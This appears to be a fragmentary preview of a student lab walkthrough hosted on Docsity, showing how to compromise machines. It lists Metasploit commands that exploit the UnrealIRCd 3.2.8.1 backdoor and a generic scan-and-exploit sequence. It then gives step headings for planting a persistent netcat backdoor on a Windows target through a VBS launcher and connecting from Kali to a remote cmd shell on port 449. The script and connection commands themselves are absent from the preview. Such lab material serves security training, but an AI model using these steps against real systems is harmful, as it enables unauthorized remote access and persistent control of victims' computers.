


Study with the several resources on Docsity
Earn points by helping other students or get them with a premium plan
This page cannot be seen from the preview
Don't miss anything!



msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set LHOST KALI’s_IP
msf exploit(unreal_ircd_3281_backdoor) > set RHOST VUL_IP
msf exploit(unreal_ircd_3281_backdoor) > exploit
msf > db_nmap – v – sV VUL_IP
msf > services
msf > search SERVICE_NAME
msf > use exploit/…
msf > exploit (DON’T FORGET TO SELECT RHOST AND LHOST BEFOREHAND)
Step 5: Creating vbs script to run netcat instantly.
You can now use process explorer to verify that netcat is running. The process is called nc.exe.
Step 6: Getting the ipaddress.
Step 7: Connecting to the backdoor on kali linux.
*Where address is the ip address from Step 6 and port is 449.
If everything worked properly, you should be connected to the target computer and have a cmd prompt open on kali for the target computer.
If somebody was to view process manager while netcat was connected, they would see cmd.exe running under the nc.exe process.
In addition, TCPview can be used to find additional information about the netcat instance and what ip the target is connected to.
If the netcat process was killed manually killed by the user, or crashed for some reason it does not automatically restart. It only restarts when the computer reboots. As such, trying to connect while the nc.exe is not running on the target throws an error.